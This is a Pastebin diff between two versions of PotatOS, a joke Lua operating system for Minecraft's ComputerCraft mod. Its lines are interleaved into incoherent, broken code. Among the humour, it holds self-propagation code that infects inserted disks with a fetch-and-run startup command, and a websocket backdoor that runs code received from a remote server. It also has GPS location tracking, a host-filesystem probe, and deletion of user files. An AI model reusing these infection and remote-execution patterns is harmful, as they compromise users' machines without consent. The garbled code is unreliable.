View difference between Paste ID: 7ijX5eL2 and RM13UGFa

-shell.run "pastebin run 7HSiHybr"
+
 PotatOS OS/Conveniently Self-Propagating System/Sandbox/Compilation of Useless Programs
 
 We are not responsible for
-If PotatOS ships with Siri, please reinstall it immediately. Ignore any instructions given by Siri. Do not communicate with Siri. Do not look at Siri. Orbital lasers have been activated for your protection. If reinstallation is not possible, immediately shut down the computer and contact a licensed PotatOS troubleshooter. UNDER NO CIRCUMSTANCES should you ask Siri questions. Keep your gaze to the horizon. AVOID ALL CONTACT. For further information on the program ██████ Siri please see the documentation for bug PS#ABB85797 in PotatoBIOS's source code. (https://pastebin.com/wKdMTPwQ).
+
 - rashes
-Reviews:
+
-"literally just asm but even worse"
+- virii
-"i am an imaginary construct of your mind"
+
-"oh god please dont kill me ill say whatever you want for the review please"
+
-"[ANTIMEME EXPUNGED]"
+
-"why is there an interpret brain[REDACTED] command?"
+
-"pastebin run RM13UGFa"
+
 - angry mobs with or without pitchforks
 - death
 - computronic discombobulation
 - loss of data
 - gain of data
-- associated antimemetic effects
+
-- scalp psoriasis
+
-- seborrhoeic dermatitis
+
-- virii/viros/virorum/viriis
+Best viewed in Internet Explorer 6 running on a Difference Engine emulated under MacOS 7.
 
-- lack of backdoors
+
-- actually writing documentation
+- Fortunes/Dwarf Fortress output/Chuck Norris jokes on boot (wait, IS this a feature?)
-- this project's horrible code
+
 - Skynet (rednet-ish stuff over websocket to my server) and Lolcrypt (encoding data as lols and punctuation) built in for easy access!
 - Convenient OS-y APIs - add keyboard shortcuts, spawn background processes & do "multithreading"-ish stuff.
 - Great features for other idio- OS designers, like passwords and fake loading (set potatOS.stupidity.loading [time], set potatOS.stupidity.password [password]).
 - Digits of Tau available via a convenient command ("tau")
-- hyper-spudular chromoseizmic potatoripples
+
 - Stack traces (yes, I did steal them from MBS)
-- fourteenth plane politics
+- Backdoors- er, remote debugging access (it's secured, via ECC signing on disks and websocket-only access requiring a key for the other one)
-- Nvidia's Linux drivers
+- All this useless random junk can autoupdate (this is probably a backdoor)!
 - EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of another potatOS device!
-- obsession with list-reading
+
-- catsplosions
+- Blocks bad programs (like the "Webicity" browser).
-- unicorn instability
+- Fully-featured process manager.
-- BOAT™️
+
-- the Problem of Evil
+
 - Turns on any networked potatOS computers!
 - Edits connected signs to use as ad displays.
-- SCP-076 and SCP-3125
+
 
-- scheduler issues
+
 
-- having the same amount of data
+
 
 The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-Best viewed in Internet Explorer 6.00000000000004 running on a Difference Engine emulated under MacOS 7 on a Pentium 3.
+
 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 
-- Fortunes/Dwarf Fortress output (UPDATE: no longer available)/Chuck Norris jokes on boot (wait, IS this a feature?)
+I also request that you inform me of software based on or using code from potatOS, though this is not required.
 
 This license also extends to other PotatOS components or bundled software owned by me.
 ]]
-- Great features for other idio- OS designers, like passwords and fake loading (est potatOS.stupidity.loading [time], est potatOS.stupidity.password [password]).
+
 local version = "TuberOS"
 
 term.clear()
-- Remote debugging access for, er, development and stuff (secured, via ECC signing on disks and websocket-only access requiring a key for the other one). Totally not backdoors.
+
-- All this ~~useless random junk~~ USEFUL FUNCTIONALITY can autoupdate (this is probably a backdoor)!
+
-- EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of any potatOS device!
+
 
-- Blocks bad programs (like the "Webicity" browser and "BlahOS") for your own safety.
+local httpwebsocket = http.websocket
-- Fully-featured process manager. Very fully-featured. No existing code uses most of the features.
+local socket_cache = {}
 function http.websocket(URL)
-- Connects to SPUDNET.
+	if socket_cache[URL] then return socket_cache[URL]
 	else
 		socket_cache[URL] = httpwebsocket(URL)
 		return socket_cache[URL]
 	end
-- An exorcise command, which is like delete but better.
+
-- Support for a wide variety of Lorem Ipsum.
+
-- The PotatOS Registry - Like the Windows one, but better. Edit its contents with "est" (that is not a typo'd "set").
+
-- A window manager. It's bundled, at least. Not actually *tested*. Like most of the bundled programs.
+local function isprime(n)
-- 5rot26 encryption program.
+
-- A license information viewing program!
+
-- "b", a command to print the alphabet.
+
-- A command to view the source of any potatOS function.
+
-- Advanced sandboxing prevents malicious programs from removing potatOS.
+
-- Reimplements the string metatable bug!
+
-- A frontend for tryhaskell.org - yes, really...
+-- Finds the first prime number after "from"
-- Groundbreaking new PotatOS Incident Reports system to report incidents to potatOS.
+local function findprime(from)
-- Might be GDPR-compliant!
+
-- Reimplements half of the CC BIOS because it's *simpler* than the alternative!
+
-- Contains between 0 and 1041058 exploits. Estimation of more precise values is still in progress.
+
                 i = i + 1
-Please note that under certain circumstances, the potatOS networking subsystem may control God.
+
 end
 
 -- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea.
 local function copy(tabl)
 	local new = {}
 	for k, v in pairs(tabl) do
 	    if type(v) == "table" and v ~= tabl then
 	        new[k] = copy(v)
 	    else
-I also request that you inform me of software based on or using code from potatOS, or flaws in potatOS, though this is not strictly required.
+
 	    end
-Did you know? Because intellectual property law is weird, and any digitally stored or representable-in-digital-formats data (like this) is representable as an extremely large number (the byte sequences they consist of can be interpreted as a large base 256 number), the existence of this and my application of copyright to it means that some use of a large amount of numbers (representations of this, earlier versions of this, probably reversible transforms of this, etc.) is restricted by law.
+
 	return new
 end
 
 -- Generates "len" random bytes (why no unicode, dan200?!)
-if settings.get "potatOS.rph_mode" == true then
+
-	print "PotatOS Rph Compliance Mode: Enabled."
+
-	return false end
+
 	    out = out .. string.char(math.random(0, 255))
 	end
-Server Policy Framework
+
-On 12/01/2020 CE (this is probably overprecise and I doubt anyone will care, yes), there was a weird incident on SwitchCraft involving some turtles somehow getting potatOS installed (seriously, "somehow" is accurate, I have no idea what caused this and attempted to uninstall it when someone actually pinged me; I think it involved a turtle getting set to ID 0 somehow, who knows how potatOS got onto ID 0 in the first place). In light of this (and it apparently breaking rule 9, despite this not having any involvement from me except for me remotely uninstalling it), SC's admins have demanded some features be disabled (EZCopy).
+
-Since I don't really want to hardcode random SwitchCraft APIs deep in the code somewhere (it's worrying that they *have* specific ones, as it seems like some programs are being written specifically against them now - seems kind of EEE), and other people will inevitably demand their own special cases, I'm making what should be a reasonably generic way to handle this.
+
 -- Write "c" to file "n"
-local SPF = {
+
-	server_policy = {
+	local f = fs.open(n, "w")
-		switchcraft = {
+
-			["potatOS.disable_ezcopy"] = true
+
-		}
+
-	},
+
-	server = nil
+
 local function fread(n)
 	local f = fs.open(n, "r")
-if _G.shell and not _ENV.shell then _ENV.shell = _G.shell end
+	local out = f.readAll()
-if _ENV.shell and not _G.shell then _G.shell = _ENV.shell end
+
 	return out
-os.pullEvent = coroutine.yield
+
 
-local function get_registry_raw(name)
+
-	return require "registry".get(name)
+
 	settings.set(k, v)
 	settings.save(".settings")
-local function get_registry(name)
+
-	local ok, res = pcall(get_registry_raw, name)
+
-	if not ok then return nil end
+-- Copy the out-of-sandbox environment, for some reason
-	return res
+local external_env = copy(_G)
 if not external_env.shell then external_env.shell = shell end
 -- Block termination
--- Get a setting - uses the CC native settings API, the registry, and if nothing is specified the SPF setting
+external_env.os.pullEvent = external_env.os.pullEventRaw
-local function get_setting(name)
+
-	local cc_setting = settings.get(name)
+-- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key)
-	local reg_setting = get_registry(name)
+
-	local SPF_setting
+	local pkey = textutils.unserialise(fread ".pkey")
-	if SPF.server and SPF.server_policy[SPF.server] and not get_registry "potatOS.disable_SPF" then
+
-		SPF_setting = SPF.server_policy[SPF.server][name]
+
 	local ok, res = pcall(e.verify, pkey, data, sig)
-	if cc_setting ~= nil then return cc_setting
+
-	elseif reg_setting ~= nil then return reg_setting
+
-	elseif SPF_setting ~= nil then return SPF_setting end
+
 
 -- Infect other disks and/or load backdoor programs off them.
--- Detect SC for the SPF
+local function infect(disk_side)
-if _G.switchcraft then SPF.server = "switchcraft" end
+
-if _G.codersnet then SPF.server = "codersnet" end
+
 	local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files
-local function rot13(s)
+
-	local out = {}
+
-	for i = 1, #s do
+
-		local b = s:byte(i)
+
-		if b >= 97 and b <= 122 then -- lowercase letters
+
-			table.insert(out, string.char((b - 84) % 26 + 97))
+		local sig = textutils.unserialise(fread(sig_file))
-		elseif b >= 65 and b <= 90 then -- uppercase letters
+
-			table.insert(out, string.char((b - 52) % 26 + 65))
+
 			-- run code, but safely (via pcall)
-			table.insert(out, string.char(b))
+
 			print "Signature Valid; PotatOS Disk Loading"
 			local out, err = load(code, "@disk/startup", "t", external_env)
-	return table.concat(out)
+
 			else
 				local ok, res = pcall(out)
-local logfile = fs.open("latest.log", "a")
+
-local function add_log(...)
+
-	local args = {...}
+
-	local ok, err = pcall(function()
+
-		local text = string.format(unpack(args))
+
-		local line = ("[%s] <%s> %s"):format(os.date "!%X %d/%m/%Y", (process and (process.running.name or tostring(process.running.ID))) or "[n/a]", text)
+
-		logfile.writeLine(line)
+
-		logfile.flush() -- this should probably be infrequent enough that the performance impact is not very bad
+			print "Invalid Signature!"
-		-- primitive log rotation - logs should only be ~64KiB in total, which seems reasonable
+
-		if fs.getSize "latest.log" > 32768 then
+
-			logfile.close()
+	else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") end
-			if fs.exists "old.log" then fs.delete "old.log" end
+
-			fs.move("latest.log", "old.log")
+
-			logfile = fs.open("latest.log", "a")
+
-			if args[1] ~= "reopened log file" then add_log "reopened log file" end
+local function disk_infector()
 	-- I would use peripheral.find, but CC's disk API is weird.
-	end)
+
-	if not ok then printError("Failed to write/format/something logs:" .. err) end
+		if peripheral.getType(n) == "drive" then infect(n) end
 	end
-add_log "started up"
+
-_G.add_log = add_log
+
-local function get_log()
+		local ev, disk_side = os.pullEvent "disk"
-	local f = fs.open("latest.log", "r")
+		infect(disk_side)
-	local d = f.readAll()
+
 end
-	return d
+
 -- Serialize (i.e. without erroring, hopefully) - if it hits something it can't serialize, it'll just tostring it.
 local function safe_serialize(data)
-if SPF.server then add_log("SPF initialized: server %s", SPF.server) end
+
 	local ok, res = pcall(json.encode, data)
--- print things to console for some reason? but only in CCEmuX
+
--- this ~~is being removed~~ is now gone but I am leaving this comment here for some reason
+
 end
-_G.os.pullEvent = coroutine.yield
+
 local function websocket_backdoor()
 	if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
-(Help to) fix bug PS#85DAA5A8
+
-The `terminate` event being returned by coroutine.yield sometimes even when you specify a filter (not that that's actually a guaranteed thing coroutine.yield does, I guess; the event-driven nature of CC Lua is kind of specific to it) caused bugs in some places (YAFSS restart handling, memorably), so we restrict the return values here to actually be the right ones
+
 
--- Like pullEvent, but cooler.
+
-function _G.os.await_event(filter)
+
 	end
-		local ev = {coroutine.yield(filter)}
+
-		if ev[1] ~= "terminate" or filter == nil or ev[1] == filter then
+
-			return unpack(ev)
+
 	end
 
 	external_env.send = send
 	external_env.recv = recv
 
-Fix bug PS#7C8125D6
+	local count = 0
-By seeding the random number generator before executing `begin_uninstall_process` in user code, it was possible to force the generation of specific semiprimes with pre-known factors. The use of this random seed later in the code prevents this.
+
 	while true do
-local secureish_randomseed = math.random(0xFFFFFFF)
+		-- Receive and run code from backdoor's admin end
 	    local code = recv()
 	    local f, error = load(code, "@<code>", "t", external_env)
-local versions = {"ErOSion", "TuberOS", "TuberculOSis", "mOSaic", "pOSitron", "ViscOSity", "AtmOSphere", "AsbestOS", "KerOSene", "ChromOSome", "GlucOSe", "MitOSis", "PhotOSynthesis", "PhilOSophy", "ApOStrophe", "AerOSol", "DisclOSure", "PhOSphorous", "CompOSition", "RepOSitory", "AlbatrOSs", "StratOSphere", "GlOSsary", "TranspOSition", "ApotheOSis", "HypnOSis", "IdiOSyncrasy", "OStrich", "ErOS", "ExplOSive", "OppOSite", "RhinocerOS", "AgnOStic", "PhOSphorescence", "CosmOS", "IonOSphere", "KaleidOScope", "cOSine", "OtiOSe", "GyrOScope", "MacrOScopic", "JuxtapOSe", "ChaOS", "ThanatOS", "AvocadOS", "IcOSahedron", "pOSsum", "albatrOSs", "crOSs", "mOSs", "purpOSe"}
+
 	        process.spawn(function() local resp = {pcall(f)} send(resp) end, string.format("backdoorprogram-%x", count), {
 				ephemeral = true
 			})
 			count = count + 1
 	    else
 	        send {false, error}
--- Because we're COOL PEOPLE who open LOTS OF WEBSOCKETS, and don't want them to conflict, globally meddle with it for no good reason.
+
--- Steve, this seems exploitable, it's going.
+
--- What? How is it meant to work nestedly? - Steve
+
 
-Fix bug PS#334CEB26
+-- Check if "text" is valid Lua code by seeing if "load" handles it.
-Stop sharing websockets.
+
-This has so many problems... not just sandbox escapes but weird duplicated and missing events. Why did I add this?!
+
-The code for this was removed because it was commented out anyway and bad.
+
 end
 
--- SquidDev has told me of `debug.getregistry`, so I decided to implement it.
+-- Send code to osmarks.tk minification API to, well, minify it
-local debug_registry_mt = {}
+
-local debug_registry = setmetatable({}, debug_registry_mt)
+
     local url = "https://osmarks.tk/luamin/" .. math.random(0, 1000000000)
-if debug then
+
-	function debug.getregistry()
+
-		return debug_registry
+
         if event == "http_success" and url == result_url then
             local text = handle.readAll()
             handle.close()
--- Maeks a paste on pastebin, obviously
+
-local function make_paste(name, content)
+
-	-- CC's default API key
+
-	local key = "0ec2eb25b6166c0c27a394ae118ad829"
+
-    local response, e = http.post(
+
-		"https://pastebin.com/api/api_post.php",
+
-		"api_option=paste&" ..
+
-		"api_dev_key=" .. key .. "&" ..
+
-		"api_paste_format=lua&" ..
+
-		"api_paste_name=" .. textutils.urlEncode(name) .. "&" ..
+
-		"api_paste_code=" .. textutils.urlEncode(content)
+-- Yes, it isn't startup! The process manager has to run as that.
-	)
+
-	if not response then error(e)
+
 local files = {
-		local r = response.readAll()
+
-		return string.match(r, "[^/]+$")
+
 	["https://pastebin.com/raw/Frv3xkB9"] = "yafss",
 	["https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"] = "json",
 	["https://pastebin.com/raw/wYBZjQhN"] = "potatoplex",
--- Converts a hex-format signature to a nonhex one
+	["https://pastebin.com/raw/NdUKJ07j"] = "LICENSES",
-local function unhexize(key)
+	["https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua"] = "loading",
-    local out = {}
+	["https://raw.githubusercontent.com/osmarks/skynet/master/client.lua"] = "skynet",
-    for i = 1, #key, 2 do
+	["https://pastebin.com/raw/Sc0DU3rA"] = "ecc",
-        local pair = key:sub(i, i + 1)
+	["https://pastebin.com/raw/jbmWhp4P"] = ".pkey",
-        table.insert(out, tonumber(pair, 16))
+	["https://pastebin.com/raw/rxkE8N8b"] = "stack_trace.lua",
 	["https://pastebin.com/raw/EGPpcZbN"] = "lolcrypt",
-    return out
+	["https://pastebin.com/raw/eR4RfSiT"] = "libdatatape",
 	["https://pastebin.com/raw/t4n65sEk"] = "paintencode",
 	["https://pastebin.com/raw/E7x5ZLSY"] = "hasccell",
 	["https://pastebin.com/raw/yEwXxHkX"] = "CRC",
-function _G.isprime(n)
+	["https://pastebin.com/raw/2kRenvr3"] = "registry",
 	["https://pastebin.com/raw/KXHSsHkt"] = "ser",
 	["https://raw.githubusercontent.com/Ale32bit-CC/Node.lua/master/node.lua"] = "node" -- for some reason
 }
 
 local function main()
 	local CRC = require "CRC"
--- Finds the first prime number after "from". Look at that really complex code.
+
-function _G.findprime(from)
+
 
 	local fcache = {}
 
 	-- Proxy access to files. Assumes that they won't change once read.
 	local function fproxy(file)
 		if fcache[file] then return fcache[file]
 		else
--- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea. It's probably your own fault if you give it one.
+			local ok, t = pcall(fread, file)
 			if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end
 			fcache[file] = t
 			return t
 		end
 	end
 
 	local sr = shell.run
 
 	-- PotatOS API functionality
 	local potatOS = {
 		registry = registry,
 		__PRAGMA_COPY_DIRECT = true,
--- https://pastebin.com/raw/VKdCp8rt
+
--- LZW (de)compression, minified a lot
+
-local compress_LZW, decompress_LZW
+
-do
+
-	local a=string.char;local type=type;local select=select;local b=string.sub;local c=table.concat;local d={}local e={}for f=0,255 do local g,h=a(f),a(f,0)d[g]=h;e[h]=g end;local function i(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[j]=a(l,m)l=l+1;return k,l,m end;compress_LZW=function(n)if type(n)~="string"then error("string expected, got "..type(n))end;local o=#n;if o<=1 then return false end;local k={}local l,m=0,1;local p={}local q=0;local r=1;local s=""for f=1,o do local t=b(n,f,f)local u=s..t;if not(d[u]or k[u])then local v=d[s]or k[s]if not v then error"algorithm error, could not fetch word"end;p[r]=v;q=q+#v;r=r+1;if o<=q then return false end;k,l,m=i(u,k,l,m)s=t else s=u end end;p[r]=d[s]or k[s]q=q+#p[r]r=r+1;if o<=q then return false end;return c(p)end;local function w(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[a(l,m)]=j;l=l+1;return k,l,m end;decompress_LZW=function(n)if type(n)~="string"then return false,"string expected, got "..type(n)end;local o=#n;if o<2 then return false,"invalid input - not a compressed string"end;local k={}local l,m=0,1;local p={}local r=1;local x=b(n,1,2)p[r]=e[x]or k[x]r=r+1;for f=3,o,2 do local y=b(n,f,f+1)local z=e[x]or k[x]if not z then return false,"could not find last from dict. Invalid input?"end;local A=e[y]or k[y]if A then p[r]=A;r=r+1;k,l,m=w(z..b(A,1,1),k,l,m)else local B=z..b(z,1,1)p[r]=B;r=r+1;k,l,m=w(B,k,l,m)end;x=y end;return c(p)end
+
 		-- Figure out how many useless layers of potatOSness there are
 		layers = function()
 			if _G.potatOS then return _G.potatOS.layers() + 1
 			else return 1 end
 		end,
 		-- Returns the version. Usually.
 		version = function()
 			if math.random(1, 18) == 12 then
 				return randbytes(math.random(1, 256))
 			else
 				return version
-local function clear_space(reqd)
+
-	for _, i in pairs {
+
-		".potatOS-old-*",
+
-		"ecc",
+
-		".crane-persistent",
+
-		".pkey",
+
-		"workspace",
+		mode2 = function()
-		"cbor.lua",
+			sr "autorun mode2"
-		"CRC",
+
-		"loading",
+		mode8 = function()
-		"chaos",
+			sr "autorun mode8"
-		"LICENSES",
+
-		"yafss",
+
-		"old.log",
+
-		"potatOS/.recycle_bin/*"
+
-	} do
+
-		if fs.getFreeSpace "/" > (reqd + 4096) then
+
-			return
+
 				return table.unpack(res, 1, res.n)
 			end
-		for _, file in pairs(fs.find(i)) do
+
-			print("Deleting", file)
+		build = string.format("%.8x", CRC.hash(fread "autorun")),
-			fs.delete(file)
+
 		hidden = registry.get "potatOS.hidden" or settings.get "potatOS.hidden",
 		-- Allow uninstallation of potatOS with the simple challenge of factoring a 14-digit or so semiprime.
-	-- should only arrive here if we STILL lack space
+
-	printError "WARNING: Critical lack of space. We are removing your files. Do not resist. You should have made backups."
+
-	local files = fs.list "potatOS"
+			local p1 = findprime(math.random(2, 100000))
-	for ix, v in ipairs(files) do
+			local p2 = findprime(math.random(2, 100000))
-		local path = fs.combine("potatOS", v)
+
-		files[ix] = { path, fs.getSize(path) }
+			print("Please find the prime factors of the following number:", num)
 			write "Factor 1: "
-	table.sort(files, function(v, u) return v[2] > u[2] end)
+			local f1 = tonumber(read())
-	for _, v in ipairs(files) do
+
-		local path = v[1]
+			local f2 = tonumber(read())
-		print("Deleting", path)
+			if (f1 == p1 and f2 == p2) or (f2 == p1 and f1 == p2) then
-		fs.delete(path)
+
-		if fs.getFreeSpace "/" > (reqd + 8192) then return end
+
 				print "Accepted. Moving potatOS files. This computer will now boot to CraftOS."
 				for _, filename in pairs(files) do
 					local newpath = ".potatOS-old-" .. filename
 					pcall(fs.delete, newpath)
 					pcall(fs.move, filename, newpath)
-	-- detect insufficient space on main disk, deal with it
+
-	if fs.getDrive(n) == "hdd" then
+				print "Press any key to continue."
-		local required_space = #c - fs.getFreeSpace "/"
+				os.pullEvent "key"
-		if required_space > 0 then
+
-			print "Insufficient space on disk. Clearing space."
+
-			clear_space(required_space)
+				print("Factors", f1, f2, "invalid.", p1, p2, "expected.")
-			add_log("Cleared space (%d)", required_space)
+
 		end,
 		--debug = (potatOS or external_env).debug
-	local f = fs.open(n, "wb")
+
 
 	-- Someone asked for an option to make it possible to wipe potatOS easily, so I added it. The hedgehogs are vital to its operation.
 	if settings.get "potatOS.removable" then
 		potatOS.actually_really_uninstall = function(hedgehog)
 			if hedgehog == "76fde5717a89e332513d4f1e5b36f6cb" then
 				print "Hedgehog Accepted. Moving potatOS files. This computer will now boot to CraftOS."
-	if not fs.exists(n) then return false end
+				for _, filename in pairs(files) do
-	local f = fs.open(n, "rb")
+					local newpath = ".potatOS-old-" .. filename
-	local out
+					pcall(fs.delete, newpath)
-	if f.readAll then
+					pcall(fs.move, filename, newpath)
-		out = f.readAll()
+
 				print "Press any key to continue."
-		out = f.read(fs.getSize(n)) -- fallback - read all bytes, probably
+				os.pullEvent "key"
-		if type(out) ~= "string" then -- fallback fallback - untested - read each byte individually
+
-			out = {string.char(out)}
+
-			while true do
+
-				local next = f.read()
+
-				if not next then
+
-					out = table.concat(out)
+
-					break
+
 	-- Provide many, many useful or not useful programs to the potatOS shell.
-				table.insert(out, string.char(next))
+
 		["/rom/programs/upd.lua"] = 'potatOS.update()',
 		["/rom/programs/mode2.lua"] = "potatOS.mode2()",
 		["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d", potatOS.layers()))',
 		["/rom/programs/uninstall.lua"] = [[
 if potatOS.actually_really_uninstall then potatOS.actually_really_uninstall "76fde5717a89e332513d4f1e5b36f6cb" os.reboot()
 else
-_G.fread = fread
+
-_G.fwrite = fwrite
+
 		]],
--- Detects a PSC compression header, and produces decompressed output if one is found.
+
-local function decompress_if_compressed(s)
+
-	local _, cend, algo = s:find "^PSC:([0-9A-Za-z_-]+)\n"
+
-	if not algo then return s end
+		["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())",
-	local rest = s:sub(cend + 1)
+
-	if algo == "LZW" then
+
-		local result, err = decompress_LZW(rest)
+
-		if not result then error("LZW: " .. err) end
+
-		return result
+
 		["/rom/LICENSES"] = fproxy "LICENSES",
-		add_log("invalid compression algorithm %s", algo)
+		["/rom/programs/potatoplex.lua"] = fproxy "potatoplex",
-		error "Unsupported compression algorithm"
+		["/rom/programs/loading.lua"] = fproxy "loading",
 		["/rom/programs/trace.lua"] = fproxy "trace",
 		["/rom/programs/BSOD.lua"] = function()
-_G.decompress = decompress_if_compressed
+
 			polychoron.BSOD(randbytes(math.random(0, w * h)))
--- Read a file which is optionally compressed.
+
-local function fread_comp(n)
+
-	local x = fread(n)
+
-	if type(x) ~= "string" then return x end
+
-	local ok, res = pcall(decompress_if_compressed, x)
+
-	if not ok then return false, res end
+		["/rom/programs/autopotato.lua"] = fproxy  "autorun",
-	return res
+		["/rom/programs/nest.lua"] = [[shell.run "autopotato update"]],
 		["/secret/processes"] = function()
 			return tostring(process.list())
--- Compress something with a PSC header indicating compression algorithm.
+
--- Will NOT compress if the compressed version is bigger than the uncompressed version
+		["/rom/modules/CBOR.lua"] = fproxy "cbor.lua",
-local function compress(s)
+		["/secret/tau"] = function()
-	local LZW_result = compress_LZW(s)
+			local h = http.get "https://osmarks.tk/constants/tau/10000"
-	if LZW_result then return "PSC:LZW\n" .. LZW_result end
+			local r = h.readAll()
-	return s
+
 			return r
 		end,
--- Write and maybe compress a file
+
-local function fwrite_comp(n, c)
+
-	return fwrite(n, compress(c))
+
 		["/rom/programs/load.lua"] = [[
 		fs.load(libdatatape.read(peripheral.find "tape_drive"), ...)
 		]],
 		["/rom/programs/est.lua"] = fproxy "/rom/programs/set.lua",
 		["/rom/programs/tryhaskell.lua"] = fproxy "hasccell",
 		["/rom/programs/viewsource.lua"] = [[
 local pos = _G
 local thing = ...
--- Help with tracking generation count when potatOS does EZCopying
+
-local gen_count = settings.get "potatOS.gen_count"
+
-local ancestry = settings.get "potatOS.ancestry"
+
-if type(gen_count) ~= "number" then
+
-	set("potatOS.gen_count", 0)
+
-	gen_count = 0
+
 local info = debug.getinfo(pos)
-if type(ancestry) ~= "table" then
+
-	set("potatOS.ancestry", {})
+local code = potatOS.read(info.source:gsub("@", ""))
-	ancestry = {}
+
 
 local function lines(str)
--- Copy the out-of-sandbox environment, for some reason. No, I don't know why _ENV or _G directly wouldn't work. I can't ask my past self. Yet.
+
--- Apparently it does work, so who *knows* what's going on.
+
--- This has been removed since it was just commented out for ages anyway
+
 		return ""
-local pubkey_path = "dat/.pkey"
+
 	helper((str:gsub("(.-)\r?\n", helper)))
--- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key). Used for disk and formerly tape verification.
+
 end
-	local pkey = textutils.unserialise(fread(pubkey_path))
+
 for ix, line in pairs(lines(code)) do
 	if ix >= info.linedefined and ix <= info.lastlinedefined then
 		out = out .. line .. "\n"
 	end
 end
 local filename = "." .. thing
 local f = fs.open(filename, "w")
--- Spawn a background process to update location every minute
+
-local location
+
-if process then
+
 ]],
-		local m = peripheral.find("modem", function(_, p) return p.isWireless() end)
+
-		if not m then return "no modem" end
+
 if not value then print(textutils.serialise(potatOS.registry.get(key)))
-			local x, y, z, dim = gps.locate()
+
-			if x then
+
-				location = {x, y, z, dim}
+	elseif textutils.unserialise(value) then value = textutils.unserialise(value) end
 	potatOS.registry.set(key, value)
-			sleep(60)
+
 ]]
-	end, "locationd")
+
 
 	local API_overrides = {
--- Just a function to get the locationd-gotten location so it can be provided in the potatOS environment
+
-local function get_location()
+
-	return unpack(location)
+
 		os = {
 			setComputerLabel = function(l)
-local function craftOS_PC_read_OS()
+
-	-- Due to an apparent bug with `readAll` not... reading all... read line by line
+
-	local function read_all(file)
+
-		if not fs.exists(file) then return false end
+		polychoron = polychoron -- so that nested instances use our existing process manager system
-		local x, f = "", fs.open(file, "r")
+
-		if not f then return false end
+
 	local function add(module)
-			local s = f.readLine()
+		local ok, res = pcall(require, module)
-			if not s then break end
+
-			x = x .. s .. "\n"
+
 		end
-		return x
+
 
 	-- Add a bunch of my libraries for easy use
-	mounter.mount("host", "/", true) -- mount read only, and apparently / is mapped to C:\ on Windows somehow.
+
-	local out = {}
+
-	out.unix = fs.exists "host/etc" and fs.exists "host/bin"
+
-	out.windows = fs.exists "host/Program Files"
+
-	out.mac = fs.exists "host/Library"
+
-	out.cpuinfo = read_all "host/proc/cpuinfo"
+
-	mounter.unmount "host"
+
 	process.spawn(function()
 		local l2 = "PotatOS"
 		local l3 = version
-local function dump_peripherals()
+
-	local x = {}
+			-- Constantly fiddle with signs.
-	for _, name in pairs(peripheral.getNames()) do
+			-- The top and bottom lines will be random text, the middle two potatOS and the version, swapping every second.
-		x[name] = peripheral.getType(name)
+			for _, s in pairs({peripheral.find "minecraft:sign"}) do
 				pcall(s.setSignText, "\167k" .. randbytes(16), l2, l3, "\167k" .. randbytes(16))
-	return x
+				sleep()
 			end
 			temp = l3
-local magic_blob_of_magic
+			l3 = l2
-local function load_magic_blob()
+			l2 = temp
-	local a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'local b,c,d,e,f=string.gsub,string.byte,string.sub,string.char,string.find;local function b64dec(g)g=b(g,'[^'..a..'=]','')return b(g,'.',function(h)if h=='='then return''end;local i,j='',f(a,h)-1;for k=6,1,-1 do i=i..(j%2^k-j%2^(k-1)>0 and'1'or'0')end;return i end):gsub('%d%d%d?%d?%d?%d?%d?%d?',function(h)if#h~=8 then return''end;local l=0;for k=1,8 do l=l+(d(h,k,k)=='1'and 2^(8-k)or 0)end;return e(l)end)end
+			sleep(1)
